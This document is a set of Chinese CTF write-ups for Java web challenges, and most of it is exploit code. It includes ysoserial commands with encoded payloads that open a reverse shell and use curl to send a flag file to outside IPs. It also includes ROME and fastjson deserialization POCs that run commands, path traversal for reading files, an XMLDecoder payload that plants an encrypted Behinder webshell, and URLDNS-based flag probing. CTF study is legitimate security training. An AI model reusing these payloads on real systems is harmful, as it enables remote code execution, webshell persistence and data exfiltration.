_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 9999
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
ysoserial
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC84MS43MC4xMDEuOTEvODg4OCAwJj4xJw==}|{base64,-d}|{bash,-i}" > payload
但是反弹shell不太行, 就通过 curl 数据外带
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,Y3VybCAtWCBQT1NUIC1kICJmbGFnPWBjYXQgL2ZsYWdfQVFVQWAiIGh0dHA6Ly8zOS45Ny4xMTQuNDM6ODg4OA==}|{base64,-d}|{bash,-i}" > payload
访问 /hello, data=Proxypayload 即可
[陇原战"疫"]ezjaba
题目链接(web-ezjaba): https://buuoj.cn/match/matches/57/challenges
jar包反编译后可以看到 pom.xml 中有 rome 依赖
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
ROME反序列化, 过滤了两个类
java.util.HashMap
javax.management.BadAttributeValueExpException
但是BackDoor底下的finally完成了BadAttributeValueExpException类需要做的事, 可以直接触发toString, 原来的ROME链
参考: https://blog.csdn.net/rfrder/article/details/121236409
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
直接截断从ToStringBean处开始构建, 即可直接触发, 原题不出网, 所以需要设置内存马, 小改一下即可使用
package com.lyzy.ctf.ezjaba.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringEcho extends AbstractTranslet {
static {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
// Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
// Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
// Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
// getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
// String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
// commands[2] = cmd;
commands[2] = "cat /flag";
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
POC
package com.lyzy.ctf.ezjaba.exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import org.apache.tomcat.util.codec.binary.Base64;
import javax.xml.transform.Templates;
public class POC {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(SpringEcho.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean objectBean = new ObjectBean(String.class,"ricky");
// HashMap evilMap = new HashMap();
// evilMap.put(objectBean,1);
// evilMap.put(objectBean,1);
// setFieldValue(objectBean,"_equalsBean",equalsBean);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(toStringBean);
oos.close();
System.out.println(URLEncoder.encode(Base64.encodeBase64String(barr.toByteArray())));
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
// o.toString();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
[安洵杯2021]ezjson
任意文件下载 file=/proc/self/fd/5 获得源码
有一个fastjson反序列化入口
@ResponseBody
@RequestMapping({"/json"})
public String hello(HttpServletRequest request, HttpServletResponse response) {
String Poc = request.getParameter("Poc");
if (Poc != null) {
String pattern = ".*Exec.*|.*cmd.*"; /
boolean isMatch = Pattern.matches(pattern, Poc);
if (isMatch) {
return "No way!!!";
} else {
JSON.parse(Poc);
return Poc;
}
} else {
return "readme";
}
}
fastjson版本为1.2.47,需要我们绕过autoType,然后去触发我们的App.Exec#getFlag(), fastjson有个特性,遇到\x和\u就会解码,所以正则用十六进制编码绕过
public String getFlag() throws Exception {
Exec defineclass = new Exec(this.getClass().getClassLoader());
Class clazz = defineclass.defineClass((String)null, this.ClassByte, 0,
this.ClassByte.length);
Method exec = clazz.getMethod("Exec", String.class);
Object Obj = clazz.newInstance();
exec.invoke(Obj, this.cmd);
return this.flag;
}
因为用的是parse来进行反序列化,可以用$ref调用任意的getter, 也可以通过su18师傅的方法
题目没有出网, 构造命令回显(也可以写文件, 然后通过最开始的文件下载获取flag)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class SpringEcho {
public static void Exec(String cmd) {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
catch (Exception e){
}
}
}
POC
import java.util.Locale;
import javassist.ClassPool;
public class exp {
public static String bytesToHexString(byte[] src){
StringBuilder stringBuilder = new StringBuilder("");
if (src == null || src.length <= 0) {
return null;
}
for (int i = 0; i < src.length; i++) {
int v = src[i] & 0xFF;
String hv = Integer.toHexString(v);
if (hv.length() < 2) {
stringBuilder.append(0);
}
stringBuilder.append(hv);
}
return stringBuilder.toString();
}
public static void main(String[] args) throws Exception{
byte[] bytes = ClassPool.getDefault().get("SpringEcho").toBytecode();
String code = bytesToHexString(bytes).toUpperCase(Locale.ROOT);
System.out.println("{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\":\"App.\\x45\\x78\\x65\\x63\"\n" +
" },\n" +
" \"b\": {\n" +
" \"@type\":\"App.\\x45\\x78\\x65\\x63\",\n" +
" \"ClassByte\":x\'"+code+"\',\n" +
" \"\\x63\\x6d\\x64\": \"ls\",\n" +
" \"flag\": {\"$ref\":\"$.b.flag\"}\n"+
" }\n" +
"}");
}
}
[GKCTF 2021]babycat-revenge
访问是一个结合登录和注册的网页, 但是注册功能因前端限制不让直接使用, 抓包可以看到代码逻辑
<script type="text/javascript">
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";
$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}
</script>
可以通过post传参进行注册, 根据ajax模拟
data={"username":"test","password":"test","role":"guest"}
普通用户只能使用download功能, 可以进行任意文件读取
/home/download?file=../../../../../../../../proc/self/environ
得到当前路径和tomcat路径, 可以得知静态文件路径/usr/local/tomcat/webapps/ROOT/static/
PWD=/home/app
CATALINA_HOME=/usr/local/tomcat
去查web.xml
/home/download?file=../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
得到整个服务的配置
<web-app>
<servlet>
<servlet-name>register</servlet-name>
<servlet-class>com.web.servlet.registerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.web.servlet.loginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>home</servlet-name>
<servlet-class>com.web.servlet.homeServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.web.servlet.uploadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.web.servlet.downloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.web.servlet.logoutServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>logout</servlet-name>
<url-pattern>/logout</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/home/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>register</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<display-name>java</display-name>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>home</servlet-name>
<url-pattern>/home</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/home/upload</url-pattern>
</servlet-mapping>
<filter>
<filter-name>loginFilter</filter-name>
<filter-class>com.web.filter.LoginFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>loginFilter</filter-name>
<url-pattern>/home/*</url-pattern>
</filter-mapping>
<display-name>java</display-name>
<welcome-file-list>
<welcome-file>/WEB-INF/index.jsp</welcome-file>
</welcome-file-list>
</web-app>
就可以获取其中的class了, 一共6个功能1个过滤器
# 其它的类似
/home/download?file=../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/web/servlet/registerServlet.class
反编译查阅代码, 还可以下载得到DAO文件
import com.web.dao.Person;
import com.web.dao.baseDao;
查阅上传代码发现限制后缀但不限制文件路径, 也就是可以上传到我们需要的位置, 除此之外还有对文件内容的简单过滤
String[] blackList = { "Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit" };
看到注册器则是一个正则匹配注册, 我们需要"role":"admin"
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\"");
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}
做的是json解析, 所以可以通过JSON解析unicode或者注释绕过去
data={"username":"1","password":"1","role":"guest","\u0072\u006F\u006C\u0065":"admin"}
JSON解析后会对重复的值进行覆盖, 也就是"\u0072\u006F\u006C\u0065":"admin"
解析为"role":"admin"
后覆盖了前面的"role":"guest"
或者通过注释绕过匹配, 因为"role":/**/"admin"
不会影响解析后的赋值
data={"username":"2","password":"2","role":"guest","role":/**/"admin"}
得到admin权限后通过baseDao发现登录处调用其getConnection方法
connection = baseDao.getConnection();
跟进发现调用其getConfig方法
public static void getConfig() throws FileNotFoundException {
Object obj = (new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml"))).readObject();
if (obj instanceof HashMap) {
HashMap map = (HashMap)obj;
if (map != null && map.get("url") != null) {
driver = (String)map.get("driver");
url = (String)map.get("url");
username = (String)map.get("username");
password = (String)map.get("password");
}
}
}
然后getConfig会对其xml文件进行反序列化, 考察的是XMLDecoder反序列化, 使用 weblogic XMLDecoder payload 去绕过(冰蝎马, 连接密码rebeyond)
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/ricky.jsp</string>
<void method="println">
<string><![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]></string>
</void><void method="close"/>
</object>
</java>
XMLDecoder相当于执行
java.io.PrintWriter x = new java.io.PrintWriter("/usr/local/tomcat/webapps/ROOT/static/ricky.jsp");
x.println("...");
x.close();
上传路径
../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/db/db.xml
然后再次登录即可触发, 执行/readflag即可
登陆不了_Revenge
验证码处有任意文件读取漏洞
/v/c?r=YzgxZTcyOC5qcGc=
看进程, 得知tomcat位置
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vcHJvYy9zZWxmL2NtZGxpbmU=
file=/home/apache-tomcat-8.5.45/conf/logging.properties
然后就是去查阅ROOT根目录, web.xml和pom.xml
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi93ZWIueG1s
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9wb20ueG1s
然后根据pom.xml去获取框架
<dependency>
<groupId>ctfshow</groupId>
<artifactId>tiny-framework</artifactId>
<scope>system</scope>
<version>1.1</version>
<systemPath>${basedir}\lib\tiny-framework-1.0.1.jar</systemPath>
</dependency>
</dependencies>
去下载 tiny-framework-1.0.1.jar
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9saWIvdGlueS1mcmFtZXdvcmstMS4wLjEuamFy
用winrar自带的修复功能修复后即可反编译查阅源码, 分析后继续获取class文件
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9jb25maWcvY29udHJvbGxlci5wcm9wZXJ0aWVz
s=com.ctfshow.controller.Index
errorController=com.ctfshow.controller.ErrorPage
index=com.ctfshow.controller.Index
v=com.ctfshow.controller.Validate
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvSW5kZXguY2xhc3M=
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9hcGFjaGUtdG9tY2F0LTguNS40NS93ZWJhcHBzL1JPT1QvV0VCLUlORi9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvVmFsaWRhdGUuY2xhc3M=
发现注册处可以上传文件, 写马可以写在WEB-INF下, 然后覆写web.xml触发tomcat热部署getshell
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
然后写在 ../../../../../../../home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/shell.jsp
, 覆写web.xml
<servlet>
<servlet-name>shell</servlet-name>
<jsp-file>/WEB-INF/shell.jsp</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>shell</servlet-name>
<url-pattern>/ricky</url-pattern>
</servlet-mapping>
对路径的匹配也需要改一下, 不能直接匹配我们的路径否则会直接返回404
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/s/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
依次写入后等待些许访问 /ricky 即可getshell, 根目录 cat /ctfshowflag 即可
[VNCTF2022]easyJ4va
首先是任意文件读取, 根据环境变量确定tomcat具体目录然后搜索
file:///proc/self/environ
file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
file:///usr/local/tomcat/logs/localhost.2022-02-12.log
file:///usr/local/tomcat/logs/localhost_access_log.2022-02-12.txt
通过日志成功找到恶意路由以及延伸
file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
GET部分可以尝试多线程爆破获取, 需要两个不同的name(一个随便写, 另一个为vnctf2022), 比赛时靠着日志读取到其他人爆破的key
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
后续尝试发现可行, 利用此竞争脚本, 考察 servlet 的线程安全问题
# -*-coding:utf-8-*-
import requests
import threading
import time
url = "http://432a4451-aa66-4ccd-a1a0-da92bf9c8192.node4.buuoj.cn:81/evi1?name={}"
def ricky():
res = requests.get(url=url.format("ricky"))
if "The Key is" in res.text:
print(res.text)
else:
print(res.text)
def vnctf2022():
res = requests.get(url=url.format("vnctf2022"))
if "The Key is" in res.text:
print(res.text)
else:
print(res.text)
if __name__ == '__main__':
event = threading.Event()
while True:
threading.Thread(target=ricky, args=()).start()
threading.Thread(target=vnctf2022, args=()).start()
time.sleep(0.5)
event.set()
POST部分是一个简单的反序列化
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
由于 transient 不能直接被 readObject 或 writeObject 方法序列化, 需要单独分开赋值
参考:
根据题意攥写序列化, 单独提取 height 值并赋值而不是将 height 序列化
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
this.height = (String)s.readObject();
}
private void writeObject(ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
s.writeObject("180");
}
最终payload
evi1?base64=rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=&key=YYixtWPfKHsBvjELiwa90ZmFhuMcskBZ
[i春秋2021传说殿堂]easy java
URLDNS探测gadget参考: https://bishopfox.com/blog/gadgetprobe
GadgetProbe下载: https://github.com/BishopFox/GadgetProbe/releases/tag/v1.0
主要看Flag类
public Flag getFlagInstance(Flag flagTemplate) throws Exception {
if (create){
// flag开头的值对了就会返回Flag对象, 否则终止本次运行
if (!flagInstance.flag.startsWith(flagTemplate.flag)){
throw new Exception("flag not valid");
} else {
return flagTemplate;
}
} else {
return flagInstance;
}
}
private Object readResolve() throws Exception{
// 反序列化首先触发重写的 readResolve
return getFlagInstance(this);
}
参考 GadgetProbe 可以得知是采用 LinkedHashMap 结合 URLDNS 触发的探测gadget, 当flag开头的值输入正确时返回对象致使整个程序正常运行, 顺利触发DNS, 反正会因Exception提前中断反序列化, 无法触发DNS, 参考攥写EXP即可
package exploit;
import com.web.simplejava.model.Flag;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.util.LinkedHashMap;
public class exp {
public static void doGETParam(Object obj) throws Exception{
URI url = new URI("http://localhost:8080/flag");
HttpEntity<byte[]> requestEntity = new HttpEntity<>(Serializables.serialize(obj));
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getStatusCodeValue());
System.out.println(res.getBody());
}
public static void main(String[] args) throws Exception {
String dic = "abcdefghijklmnopqrstuvwxyz0123456789-";
for (int i = 0;i < dic.length(); i++){
char ch = dic.charAt(i);
Flag clazz = new Flag("flag{" + ch);
LinkedHashMap hm = new LinkedHashMap();
URL url = new URL("http://r" + ch + ".e6l4.dnslog.plus");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xaa);
hm.put("test", clazz);
hm.put(url,"test");
f.set(url, -1);
exp.doGETParam(hm);
}
}
}
根据DNS log查看判断出的字母, 一次一位, 除非写入校验DNS触发的函数(实现难度较大且容错率小)